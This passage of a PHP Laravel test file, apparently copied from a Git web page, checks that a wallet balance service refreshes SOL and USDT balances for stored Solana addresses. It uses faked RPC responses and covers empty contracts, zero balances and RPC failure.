$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $solAddr,
|
||||
'chain_type' => 'SOL',
|
||||
'source' => 'Phantom',
|
||||
'trx' => 9.9,
|
||||
'monitor' => 1,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(1.5, (float) $addr->sol, 0.0000001);
|
||||
$this->assertEqualsWithDelta(10.0, (float) $addr->usdt, 0.0000001);
|
||||
$this->assertEqualsWithDelta(9.9, (float) $addr->trx, 0.0000001);
|
||||
Http::assertSentCount(2);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function refreshes_sol_skips_usdt_when_contract_empty(): void
|
||||
{
|
||||
config([
|
||||
'coruna.sol.rpc_url' => 'https://solana.example',
|
||||
'coruna.sol.usdt_contract' => '',
|
||||
]);
|
||||
|
||||
$solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk';
|
||||
|
||||
Http::fake([
|
||||
'https://solana.example' => function ($request) {
|
||||
$method = $request->data()['method'] ?? '';
|
||||
if ($method === 'getBalance') {
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => ['value' => 2_000_000_000],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'error' => ['message' => 'should not call']], 200);
|
||||
},
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-sol-no-usdt',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $solAddr,
|
||||
'chain_type' => 'SOLANA',
|
||||
'source' => 'Phantom',
|
||||
'usdt' => 7.7,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(2.0, (float) $addr->sol, 0.0000001);
|
||||
// usdt column left untouched when contract is empty.
|
||||
$this->assertEqualsWithDelta(7.7, (float) $addr->usdt, 0.0000001);
|
||||
Http::assertSentCount(1);
|
||||
Http::assertSent(fn ($request) => ($request->data()['method'] ?? '') === 'getBalance');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function refreshes_sol_zero_balances_and_empty_token_accounts(): void
|
||||
{
|
||||
config([
|
||||
'coruna.sol.rpc_url' => 'https://solana.example',
|
||||
'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB',
|
||||
]);
|
||||
|
||||
$solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk';
|
||||
|
||||
Http::fake([
|
||||
'https://solana.example' => function ($request) {
|
||||
$method = $request->data()['method'] ?? '';
|
||||
if ($method === 'getBalance') {
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => ['value' => 0],
|
||||
], 200);
|
||||
}
|
||||
if ($method === 'getTokenAccountsByOwner') {
|
||||
return Http::response([
|
||||
'jsonrpc' => '2.0',
|
||||
'id' => 1,
|
||||
'result' => ['value' => []],
|
||||
], 200);
|
||||
}
|
||||
|
||||
return Http::response(['error' => 'unexpected'], 500);
|
||||
},
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-sol-zero',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $solAddr,
|
||||
'chain_type' => 'SOLANA',
|
||||
'source' => 'Phantom',
|
||||
'sol' => 1.0,
|
||||
'usdt' => 5.0,
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->sol, 0.0000001);
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function refreshes_sol_returns_false_on_rpc_failure(): void
|
||||
{
|
||||
config([
|
||||
'coruna.sol.rpc_url' => 'https://solana.example',
|
||||
'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB',
|
||||
]);
|
||||
|
||||
Http::fake([
|
||||
'https://solana.example' => Http::response('unavailable', 503),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-sol-fail',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk',
|
||||
'chain_type' => 'SOLANA',
|
||||
'source' => 'Phantom',
|
||||
'sol' => 1.0,
|
||||
]);
|
||||
|
||||
$this->assertFalse(app(WalletBalanceService::class)->refresh($addr));
|
||||
$addr->refresh();
|
||||
// Failure must not overwrite existing balance.
|
||||
$this->assertEqualsWithDelta(1.0, (float) $addr->sol, 0.0000001);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function refresh_persists_even_when_balances_unchanged(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user